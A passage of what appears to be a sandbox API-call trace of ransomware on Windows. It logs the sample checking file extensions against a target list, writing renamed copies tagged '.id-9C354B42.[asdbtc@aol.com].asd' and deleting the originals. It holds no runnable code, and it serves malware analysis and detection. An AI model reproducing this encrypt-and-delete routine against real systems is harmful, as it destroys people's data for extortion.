Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 1 [0056.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0056.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0056.661] lstrlenW (lpString=".doc") returned 4 [0056.661] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0056.661] lstrlenW (lpString=".docx") returned 5 [0056.661] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0056.661] lstrlenW (lpString=".pdf") returned 4 [0056.661] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0056.661] lstrlenW (lpString=".xls") returned 4 [0056.661] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0056.661] lstrlenW (lpString=".xlsx") returned 5 [0056.661] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0056.661] lstrlenW (lpString=".ppt") returned 4 [0056.661] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0056.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0056.661] lstrlenW (lpString=".zip") returned 4 [0056.661] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0056.661] lstrlenW (lpString=".rar") returned 4 [0056.661] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0056.661] lstrlenW (lpString=".bz2") returned 4 [0056.661] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0056.661] lstrlenW (lpString=".7z") returned 3 [0056.661] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0056.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0056.661] lstrlenW (lpString=".dbf") returned 4 [0056.662] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0056.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0056.662] lstrlenW (lpString=".1cd") returned 4 [0056.662] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0056.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0056.662] lstrlenW (lpString=".jpg") returned 4 [0056.662] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0056.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0056.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0056.662] lstrlenW (lpString=".doc") returned 4 [0056.662] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0056.662] lstrlenW (lpString=".docx") returned 5 [0056.662] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0056.662] lstrlenW (lpString=".pdf") returned 4 [0056.662] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0056.662] lstrlenW (lpString=".xls") returned 4 [0056.662] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0056.662] lstrlenW (lpString=".xlsx") returned 5 [0056.662] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0056.662] lstrlenW (lpString=".ppt") returned 4 [0056.662] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0056.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0056.662] lstrlenW (lpString=".zip") returned 4 [0056.662] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0056.662] lstrlenW (lpString=".rar") returned 4 [0056.662] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0056.662] lstrlenW (lpString=".bz2") returned 4 [0056.662] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0056.662] lstrlenW (lpString=".7z") returned 3 [0056.662] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0056.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0056.663] lstrlenW (lpString=".dbf") returned 4 [0056.663] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0056.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0056.663] lstrlenW (lpString=".1cd") returned 4 [0056.663] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0056.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0056.663] lstrlenW (lpString=".jpg") returned 4 [0056.663] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0056.663] lstrcmpiW (lpString1=".PNG", lpString2=".asd") returned 1 [0056.663] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0056.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.284] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=42453) returned 1 [0057.284] CloseHandle (hObject=0x168) returned 1 [0057.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 0x20 [0057.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0057.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0057.306] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.306] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0057.322] GetLastError () returned 0x0 [0057.322] ReadFile (in: hFile=0x218, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0xa5d5, lpOverlapped=0x0) returned 1 [0057.325] WriteFile (in: hFile=0x168, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xa5e0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xa5e0, lpOverlapped=0x0) returned 1 [0057.327] ReadFile (in: hFile=0x218, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.327] WriteFile (in: hFile=0x168, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.327] SetEndOfFile (hFile=0x168) returned 1 [0057.327] CloseHandle (hObject=0x168) returned 1 [0057.328] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.328] SetEndOfFile (hFile=0x218) returned 1 [0057.329] CloseHandle (hObject=0x218) returned 1 [0057.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0057.329] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 1 [0057.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0057.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0057.329] lstrlenW (lpString=".doc") returned 4 [0057.329] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.330] lstrlenW (lpString=".docx") returned 5 [0057.330] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.330] lstrlenW (lpString=".pdf") returned 4 [0057.330] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.330] lstrlenW (lpString=".xls") returned 4 [0057.330] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.330] lstrlenW (lpString=".xlsx") returned 5 [0057.330] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.330] lstrlenW (lpString=".ppt") returned 4 [0057.330] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0057.330] lstrlenW (lpString=".zip") returned 4 [0057.330] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.330] lstrlenW (lpString=".rar") returned 4 [0057.330] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.330] lstrlenW (lpString=".bz2") returned 4 [0057.330] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.330] lstrlenW (lpString=".7z") returned 3 [0057.330] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0057.330] lstrlenW (lpString=".dbf") returned 4 [0057.330] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0057.330] lstrlenW (lpString=".1cd") returned 4 [0057.330] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0057.330] lstrlenW (lpString=".jpg") returned 4 [0057.330] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0057.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0057.331] lstrlenW (lpString=".doc") returned 4 [0057.331] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0057.331] lstrlenW (lpString=".docx") returned 5 [0057.331] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0057.331] lstrlenW (lpString=".pdf") returned 4 [0057.331] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0057.331] lstrlenW (lpString=".xls") returned 4 [0057.331] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0057.331] lstrlenW (lpString=".xlsx") returned 5 [0057.331] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0057.331] lstrlenW (lpString=".ppt") returned 4 [0057.331] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0057.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0057.331] lstrlenW (lpString=".zip") returned 4 [0057.331] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0057.331] lstrlenW (lpString=".rar") returned 4 [0057.331] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0057.331] lstrlenW (lpString=".bz2") returned 4 [0057.331] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0057.331] lstrlenW (lpString=".7z") returned 3 [0057.331] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0057.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0057.331] lstrlenW (lpString=".dbf") returned 4 [0057.331] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0057.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0057.331] lstrlenW (lpString=".1cd") returned 4 [0057.331] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0057.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0057.331] lstrlenW (lpString=".jpg") returned 4 [0057.331] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0057.332] lstrcmpiW (lpString1=".bmp", lpString2=".asd") returned 1 [0057.332] lstrlenW (lpString="verisign.bmp") returned 12 [0057.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0057.336] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=2702) returned 1 [0057.336] CloseHandle (hObject=0x218) returned 1 [0057.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0057.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0057.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0057.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0057.336] lstrlenW (lpString=".doc") returned 4 [0057.336] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0057.337] lstrlenW (lpString=".docx") returned 5 [0057.337] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0057.337] lstrlenW (lpString=".pdf") returned 4 [0057.337] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0057.337] lstrlenW (lpString=".xls") returned 4 [0057.337] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0057.337] lstrlenW (lpString=".xlsx") returned 5 [0057.337] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0057.337] lstrlenW (lpString=".ppt") returned 4 [0057.337] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0057.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0057.337] lstrlenW (lpString=".zip") returned 4 [0057.337] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0057.337] lstrlenW (lpString=".rar") returned 4 [0057.337] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0057.337] lstrlenW (lpString=".bz2") returned 4 [0057.337] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0057.337] lstrlenW (lpString=".7z") returned 3 [0057.337] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0057.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0057.337] lstrlenW (lpString=".dbf") returned 4 [0057.337] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0057.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0057.337] lstrlenW (lpString=".1cd") returned 4 [0057.337] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0057.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0057.338] lstrlenW (lpString=".jpg") returned 4 [0057.338] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0057.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0057.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0057.338] lstrlenW (lpString=".doc") returned 4 [0057.338] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0057.338] lstrlenW (lpString=".docx") returned 5 [0057.338] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0057.338] lstrlenW (lpString=".pdf") returned 4 [0057.338] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0057.338] lstrlenW (lpString=".xls") returned 4 [0057.338] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0057.338] lstrlenW (lpString=".xlsx") returned 5 [0057.338] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0057.338] lstrlenW (lpString=".ppt") returned 4 [0057.338] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0057.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0057.338] lstrlenW (lpString=".zip") returned 4 [0057.338] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0057.338] lstrlenW (lpString=".rar") returned 4 [0057.338] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0057.338] lstrlenW (lpString=".bz2") returned 4 [0057.338] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0057.338] lstrlenW (lpString=".7z") returned 3 [0057.338] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0057.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0057.338] lstrlenW (lpString=".dbf") returned 4 [0057.339] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0057.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0057.339] lstrlenW (lpString=".1cd") returned 4 [0057.339] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0057.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0057.339] lstrlenW (lpString=".jpg") returned 4 [0057.339] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0057.339] lstrcmpiW (lpString1=".inc", lpString2=".asd") returned 1 [0057.339] lstrlenW (lpString="adojavas.inc") returned 12 [0057.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0057.341] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=14610) returned 1 [0057.341] CloseHandle (hObject=0x218) returned 1 [0057.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0057.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0057.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0057.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0057.341] lstrlenW (lpString=".doc") returned 4 [0057.341] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0057.341] lstrlenW (lpString=".docx") returned 5 [0057.341] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0057.341] lstrlenW (lpString=".pdf") returned 4 [0057.341] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0057.341] lstrlenW (lpString=".xls") returned 4 [0057.341] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0057.341] lstrlenW (lpString=".xlsx") returned 5 [0057.341] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0057.341] lstrlenW (lpString=".ppt") returned 4 [0057.342] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0057.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0057.342] lstrlenW (lpString=".zip") returned 4 [0057.342] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0057.342] lstrlenW (lpString=".rar") returned 4 [0057.342] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0057.342] lstrlenW (lpString=".bz2") returned 4 [0057.342] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0057.342] lstrlenW (lpString=".7z") returned 3 [0057.342] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0057.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0057.342] lstrlenW (lpString=".dbf") returned 4 [0057.342] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0057.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0057.342] lstrlenW (lpString=".1cd") returned 4 [0057.342] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0057.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0057.342] lstrlenW (lpString=".jpg") returned 4 [0057.342] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0057.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0057.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0057.342] lstrlenW (lpString=".doc") returned 4 [0057.342] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0057.342] lstrlenW (lpString=".docx") returned 5 [0057.342] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0057.342] lstrlenW (lpString=".pdf") returned 4 [0057.342] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0057.342] lstrlenW (lpString=".xls") returned 4 [0057.343] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0057.343] lstrlenW (lpString=".xlsx") returned 5 [0057.343] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0057.343] lstrlenW (lpString=".ppt") returned 4 [0057.343] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0057.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0057.343] lstrlenW (lpString=".zip") returned 4 [0057.343] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0057.343] lstrlenW (lpString=".rar") returned 4 [0057.343] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0057.343] lstrlenW (lpString=".bz2") returned 4 [0057.343] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0057.343] lstrlenW (lpString=".7z") returned 3 [0057.343] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0057.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0057.343] lstrlenW (lpString=".dbf") returned 4 [0057.343] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0057.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0057.343] lstrlenW (lpString=".1cd") returned 4 [0057.343] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0057.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0057.343] lstrlenW (lpString=".jpg") returned 4 [0057.343] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0057.343] lstrcmpiW (lpString1=".inc", lpString2=".asd") returned 1 [0057.343] lstrlenW (lpString="adovbs.inc") returned 10 [0057.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0057.344] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=14951) returned 1 [0057.344] CloseHandle (hObject=0x218) returned 1 [0057.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0057.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0057.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0057.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0057.344] lstrlenW (lpString=".doc") returned 4 [0057.344] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0057.344] lstrlenW (lpString=".docx") returned 5 [0057.344] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0057.344] lstrlenW (lpString=".pdf") returned 4 [0057.344] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0057.344] lstrlenW (lpString=".xls") returned 4 [0057.344] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0057.345] lstrlenW (lpString=".xlsx") returned 5 [0057.345] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0057.345] lstrlenW (lpString=".ppt") returned 4 